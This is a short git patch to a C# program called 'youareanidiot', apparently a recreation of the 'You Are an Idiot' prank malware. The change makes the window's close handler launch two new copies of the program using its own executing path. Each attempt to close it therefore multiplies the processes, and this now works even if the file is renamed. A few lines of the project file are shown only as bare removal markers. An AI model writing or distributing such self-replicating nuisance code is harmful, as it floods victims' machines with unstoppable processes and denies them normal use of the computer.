From 8dfc0998e18ee9747edbc0411bacedb96db349ff Mon Sep 17 00:00:00 2001 From: Justa Date: Tue, 21 Feb 2023 17:24:26 -0500 Subject: [PATCH] allow changing executable name --- youareanidiot/Form1.cs | 4 ++-- youareanidiot/Program.cs | 4 +--- youareanidiot/youareanidiot.csproj | 6 ------ 3 files changed, 3 insertions(+), 11 deletions(-) diff --git a/youareanidiot/Form1.cs b/youareanidiot/Form1.cs index d97efd4..270b6bc 100644 --- a/youareanidiot/Form1.cs +++ b/youareanidiot/Form1.cs @@ -118,8 +118,8 @@ public Rectangle GetScreen() private void Form1_FormClosed(object sender, FormClosedEventArgs e) { Program.stopaudio(); - Process.Start("youareanidiot.exe"); - Process.Start("youareanidiot.exe"); + Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location); + Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location); } diff --git a/youareanidiot/Program.cs b/youareanidiot/Program.cs index cd89005..b800af5 100644 --- a/youareanidiot/Program.cs +++ b/youareanidiot/Program.cs @@ -22,9 +22,7 @@ internal static class Program [STAThread] static void Main() { - /*Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run(new Form1());*/ + Form1 f = new Form1(); f.Show(); diff --git a/youareanidiot/youareanidiot.csproj b/youareanidiot/youareanidiot.csproj index 8ab29da..7929963 100644 --- a/youareanidiot/youareanidiot.csproj +++ b/youareanidiot/youareanidiot.csproj @@ -80,14 +80,8 @@ - - - - - - \ No newline at end of file